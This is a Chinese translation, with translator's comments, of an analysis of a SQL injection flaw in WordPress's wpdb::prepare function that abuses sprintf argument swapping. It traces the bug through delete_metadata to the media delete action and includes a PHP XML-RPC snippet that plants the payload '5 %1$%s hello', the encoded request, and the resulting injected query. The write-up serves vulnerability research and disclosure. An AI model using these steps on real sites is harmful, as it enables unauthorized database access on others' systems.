除翻译之外还加了一些自己的理解,如果有错误的地方还望大家批评指正。
以下是wp-includes/wp-db.php
中prepare
函数的代码:
public function prepare( $query, $args ) {
if ( is_null( $query ) )
return;
// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
if ( strpos( $query, '%' ) === false ) {
_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
}
$args = func_get_args();
array_shift( $args );
// If args were passed as an array (as in vsprintf), move them up
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
array_walk( $args, array( $this, 'escape_by_ref' ) );
return @vsprintf( $query, $args );
}
代码中有两个有趣的点能给Wordpress带来危害:
首先来看参数覆盖,代码如下:
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
如果$args[0]
是数组,那么将$args
赋予为$args[0]
的值。假设你的程序中含有如下代码:
$wpdb->prepare($sql, $input_param1, $sanitized_param2, $sanitized_param3);
如果$input_param1
是可控的,那么可以将$input_param1
设置为一个数组,进而控制$sanitized_param2
和$sanitized_param3
。
(译者注:具体到prepare
这个函数中,这个点的利用方式在于如果$args[1]
、$args[2]
在传入函数前进行了过滤,可以将$args[0]
作为一个数组传入,其中$args[0][1]
、$args[0][2]
为想要传入的值。当程序走到return @vsprintf( $query, $args );
时就有可能将构造的值带入到查询中。)
SQL注入
为了使用prepare
函数进行SQL注入,我们必须先了解这个函数的核心vsprintf
(实际上就是sprintf
)是如何工作的,其中$query
是一个格式化字符串,$args
是格式化所需参数,$args
会根据格式替代$query
中的格式字符串。sprintf
的一个特性是参数交换(Argument swapping)。
(译者注:这里介绍一下Argument swapping,一般情况下我们会这样使用格式化字符串:
<?php
$num = 5;
$location = 'tree';
$format = 'There are %d monkeys in the %s';
echo sprintf($format, $num, $location);
?>
但是遇到如下情况怎么办呢?:
<?php
$format = 'The %s contains %d monkeys';
echo sprintf($format, $num, $location);
?>
这里假设参数传入的顺序是不可变的,而且我们需要的就是这个格式的字符串。为了满足这个需求,可以将代码做这样的改变:
<?php
$format = 'The %2$s contains %1$d monkeys';
echo sprintf($format, $num, $location);
?>
其中n$
是个位置标识符,%2$s
就代表着在第二个位置上的格式为字符串的参数,也就是示例中的$location
,这样就可以满足上述的需求。)
回到prepare
函数中,以下几行代码对$query
进行了一些替换处理:
$query = str_replace( “‘%s’”, ‘%s’, $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( ‘“%s”’, ‘%s’, $query ); // doublequote unquoting
$query = preg_replace( ‘|(?<!%)%f|’ , ‘%F’, $query ); // Force floats to be locale unaware
$query = preg_replace( ‘|(?<!%)%s|’, “‘%s’”, $query ); // quote the strings, avoiding escaped strings like %%s
简单来说就是会将传入的%s
变成'%s'
。
如果$query
的值含有%1$%s
,在经过上述处理后会变成%1$'%s'
,使用sprintf
之后就变成了$arg[1]'
,从而将单引号带入了查询。(译者注:可能是因为sprintf
将%1$'
当作了一个无效的Argument swapping,进而可以使%s
被解析。另外感觉这里应该是$arg[0]
而不是$arg[1]
。翻译得匆忙,并没有仔细研究,如果有问题还望大家指正。)
目前来看这只是理论上的可能性,并且这并不是合适的prepare
函数的用法,不过如果在wp开发的过程中一些糟糕的程序员并没有按照代码标准和API文档进行开发,那么就有可能存在漏洞,如果我们可以找到可利用的地方,那将是一个很有趣的事。
在wp-includes/meta.php
的delete_metadata
函数中有这样一段代码:
function delete_metadata($meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false) {
...
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value )
$query .= $wpdb->prepare(" AND meta_value = %s", $meta_value );
$meta_ids = $wpdb->get_col( $query );
if ( !count( $meta_ids ) )
return false;
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
...
}
当$delete_all == true
且$meta_value
的值存在于数据库中时,$value_clause
会由$meta_value
组成,然后$value_clause
会被拼接到下面的格式化语句中,最终由$meta_key
给这个格式化语句赋值。
wp-admin/upload.php
中的wp_delete_attachment
函数调用了delete_metadata
,并且传入了期望数量的参数:
// wp-admin/upload.php
case 'delete':
if ( !isset( $post_ids ) )
break;
foreach ( (array) $post_ids as $post_id_del ) {
if ( !current_user_can( 'delete_post', $post_id_del ) )
wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
if ( !wp_delete_attachment( $post_id_del ) )
wp_die( __( 'Error in deleting.' ) );
}
$location = add_query_arg( 'deleted', count( $post_ids ), $location );
break;
// wp-includes/meta.php
function wp_delete_attachment( $post_id, $force_delete = false ) {
...
if ( !$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) )
return $post;
...
delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
...
}
其中$post_id_del
直接取自$_REQUEST
。在执行delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
之前,唯一可能存在的障碍是这段代码:
if ( !$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) )
return $post;
这里要求$post_id
必须存在于数据库中,不过由于这里是%d
,php在将字符串转换成int型时会做尽力转换,所以当$post_id
为id %1$%s payload
时该值会被转换为id的值,进而使SQL语句得以成功执行并返回结果。
从以下的代码可以看到,如果要触发漏洞,需要$meta_value
在数据中,也就是说如果发送id %1$%s payload
来触发漏洞,需要先将其插入到数据库中。实际操作中_thumbnail_id
作为$meta_key
,其值作为$meta_value
。
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value )
$query .= $wpdb->prepare(" AND meta_value = %s", $meta_value );
$meta_ids = $wpdb->get_col( $query );
if ( !count( $meta_ids ) )
return false;
首先按如下步骤创建_thumbnail_id
:
_thumbnail_id
然后这里有两种设置_thumbnail_id
的方法:
第一种是在Wordpress ≤ 4.7.4时使用XML-RPC,因为在https://wordpress.org/news/2017/05/wordpress-4-7-5/
中提到了在这些版本中XML-RPC的API缺少对文章元数据(post meta data)的检查,这意味着我们可以使用如下代码来设置_thumbnail_id
(其中6是文章ID,5是图片ID):
$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"5 %1$%s hello"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);
通过这段代码我们可以将_thumbnail_id
设置为5 %1$%s hello
并存入数据中。
第二种方法是使用Wordpress importer这个插件,如果目标使用了这个插件,只需要将对应元数据导出,修改后再导入即可。这个方法适用于所有版本的Wordpress。
设置完Payload之后,使用具有author权限的账号登录到后台中,访问”媒体“页面,比如 http://local.target/wp-admin/upload.php,从页面源码中获取`_wpnonce`的值,然后发起如下请求:
(译者注:这里的mode=list
是我加上的,原作者并没有加这个参数。但是在我测试过程中如果没有这个参数SQL语句并不会被执行。)
其中5%20%251%24%25s%20hello
是5 %1$%s hello
URL编码后的结果。请求执行的结果是执行了如下SQL语句:
SELECT post_id FROM wp_postmeta WHERE meta_key = '_thumbnail_id' AND meta_value = '5 _thumbnail_id' hello
引号被成功带入了SQL语句,hello作为payload得以被执行。
(译者注:这里并没有错误回显,需要用盲注来获取数据)